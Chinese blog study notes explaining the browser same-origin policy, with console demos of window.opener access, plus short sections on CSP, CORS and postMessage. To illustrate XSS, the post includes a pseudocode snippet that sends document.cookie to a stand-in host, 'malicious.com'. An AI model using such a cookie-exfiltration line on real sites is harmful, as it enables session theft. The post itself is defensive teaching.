浏览器原理 31 # 同源策略:为什么XMLHttpRequest不能跨域请求资源?

简介: 浏览器原理 31 # 同源策略:为什么XMLHttpRequest不能跨域请求资源?

说明

浏览器工作原理与实践专栏学习笔记



前言

浏览器安全可以分为三大块:


  1. Web 页面安全
  2. 浏览器网络安全
  3. 浏览器系统安全

Web 页面中最基础、最核心的安全策略:同源策略(Same-origin policy)



什么是同源策略


同源

如果两个 URL 的协议、域名和端口都相同,就称这两个 URL 同源


同源策略

浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。两个不同的源之间若想要相互访问资源或者操作 DOM,那么会有一套基础的安全策略的制约,把这称为同源策略


三个层面

第一:DOM 层面

同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。


举个例子:

比如,我们从 csdn 的首页 https://blog.csdn.net/kaimo313?type=blog 的控制台打开作者排名的页面 https://blog.csdn.net/rank/list/total?spm=1001.2014.3001.5476

window.open('https://blog.csdn.net/rank/list/total?spm=1001.2014.3001.5476')

20210610161439694.png


在博客排行榜页面的控制台输入:

window.opener.document.body.style.display = 'none'


20210610162111547.png


最后我们会发现:首页的内容被隐藏起来了。


20210610162145174.png


因为这个两个页面是同源的。

如果在首页打开的是其他的不同源的页面,比如: vue 官网 https://cn.vuejs.org/

20210610162503996.png


然后在vue官网页面的控制台输入:

window.opener.document.body.style.display = 'none'



20210610162541200.png




我们会发现报错:Uncaught DOMException: Blocked a frame with origin "https://cn.vuejs.org" from accessing a cross-origin frame.


第二:数据层面

同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。

由于同源策略,我们依然无法通过第二个页面的 opener 来访问第一个页面中的 Cookie、IndexDB 或者 LocalStorage 等内容。


第三:网络层面

同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。




安全和便利性的权衡


1. 页面中可以嵌入第三方资源


最初的浏览器都是支持外部引用资源文件的,不过这也带来了很多问题。之前在开发浏览器的时候,遇到最多的一个问题是浏览器的首页内容会被一些恶意程序劫持,劫持的途径很多,其中最常见的是恶意程序通过各种途径往 HTML 文件中插入恶意脚本。


比如:当你不小心点击了页面中的一个恶意链接时,恶意 JavaScript 代码可以读取页面数据并将其发送给服务器,如下面这段伪代码:


function onClick(){
  let url = `http://malicious.com?cookie = ${document.cookie}`
  open(url)
}
onClick()


这是一个非常典型的 XSS 攻击。

为了解决 XSS 攻击,浏览器中引入了内容安全策略,称为 CSP。


CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。


关于CSP可以参考我之前转载阮一峰大佬的文章:Content Security Policy 入门教程


2. 跨域资源共享和跨文档消息机制


跨域资源共享(CORS),使用该机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。

   阮一峰的网络日志:跨域资源共享 CORS 详解


跨文档消息机制,可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信。





目录
相关文章
|
7月前
|
存储 缓存 前端开发
浏览器缓存工作原理是什么?
浏览器缓存工作原理是什么?
|
1月前
|
缓存 监控 前端开发
在资源加载优化中,如何利用浏览器缓存提升性能?
通过以上这些方法,可以有效地利用浏览器缓存来提升资源加载的性能,减少网络请求次数,提高用户体验和应用的响应速度。同时,需要根据具体的应用场景和资源特点进行灵活调整和优化,以达到最佳的效果。此外,随着技术的不断发展和变化,还需要持续关注和学习新的缓存优化方法和策略。
93 53
|
1月前
|
存储 安全 JavaScript
浏览器的同源策略
【10月更文挑战第31天】浏览器的同源策略是浏览器安全模型的重要组成部分,它通过限制不同源之间的资源交互,有效地保护了用户和网站的安全。开发者在进行Web开发时,需要充分理解和遵循同源策略,同时合理地运用各种跨域技术来满足业务需求,确保网站的安全性和功能性的平衡。
54 2
|
2月前
|
前端开发 JavaScript 异构计算
简述浏览器的渲染原理
浏览器渲染原理主要包括以下步骤:1)解析HTML文档生成DOM树;2)解析CSS生成CSSOM树;3)结合DOM与CSSOM生成渲染树;4)布局计算(回流)确定元素大小和位置;5)绘制(Paint)将节点转为图形内容;6)合成(Composite)多层图像。整个过程从文档解析到最终输出完整网页,并通过优化技术提升性能。
|
7月前
|
Web App开发 JavaScript 前端开发
浏览器与Node.js事件循环:异同点及工作原理
浏览器与Node.js事件循环:异同点及工作原理
|
4月前
|
IDE 开发工具
Edge浏览器——如何设置跨域请求
Edge浏览器——如何设置跨域请求
310 0
Request请求转发和重定向的资源路径问题,目录到底加不加,取决于浏览器用,还是服务器用,规避项目目录发生修改,导致重定向失败
Request请求转发和重定向的资源路径问题,目录到底加不加,取决于浏览器用,还是服务器用,规避项目目录发生修改,导致重定向失败
|
6月前
|
JavaScript 前端开发 网络协议
浏览器的工作原理
主要分为导航、获取数据、HTML解析、css解析、执行javaScript、渲染树几个步骤。
77 1
|
5月前
|
缓存 JavaScript 前端开发
前端 JS 经典:浏览器中 ESModule 的工作原理
前端 JS 经典:浏览器中 ESModule 的工作原理
56 0
|
6月前
|
安全 前端开发 JavaScript
CORS是W3C标准,解决浏览器同源策略限制的跨域数据访问。
【6月更文挑战第27天】CORS是W3C标准,解决浏览器同源策略限制的跨域数据访问。它通过服务器在HTTP响应头添加`Access-Control-Allow-*`字段允许特定源请求。简单请求无需预检,非简单请求会发OPTIONS预检请求。服务器配置CORS策略,客户端正常请求,浏览器自动处理。若未正确配置,浏览器将阻止响应,保障安全。
77 0